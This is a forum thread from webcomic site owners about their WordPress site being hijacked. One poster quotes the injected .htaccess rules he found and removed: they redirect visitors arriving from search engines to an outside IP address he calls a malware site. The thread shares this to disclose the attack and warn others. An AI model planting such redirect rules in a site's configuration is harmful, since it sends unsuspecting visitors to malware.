new birdy comic website from nudone and timns
timns:
Dangit. It's lucky you guys are really on the ball and taking all precautions. I just hope to god that no-one fell for it... :(
Carol Haynes:
Two great site - they both look amazing. I am a little jealous as I just don't have your imagination!
timns:
Thank you for your kind words!
Being hijacked is a hell of a way to get the sites noticed :mad: I usually prefer if people just "stumble" us ;)
timns:
Here's what I just found on the hitc website's .htaccess file:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.202/in.html?s=ix [R,L]
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
In other words some Moldavian son-of-a-biscuit is redirecting our incoming traffic to their malware site.
This is now cleaned up, but we're down at the moment doing damage assessment.
I gather this is happening with other sites also, so please spread the word!
nudone:
i can also confirm that Google Reader is now displaying the correct head in the clouds feed - with working links.
so it would appear the above .htacces problem was related to the google reader problem.
there doesn't appear to be much information on this online, just people providing explanations that the local machine must be infected - this obviously not being the case.
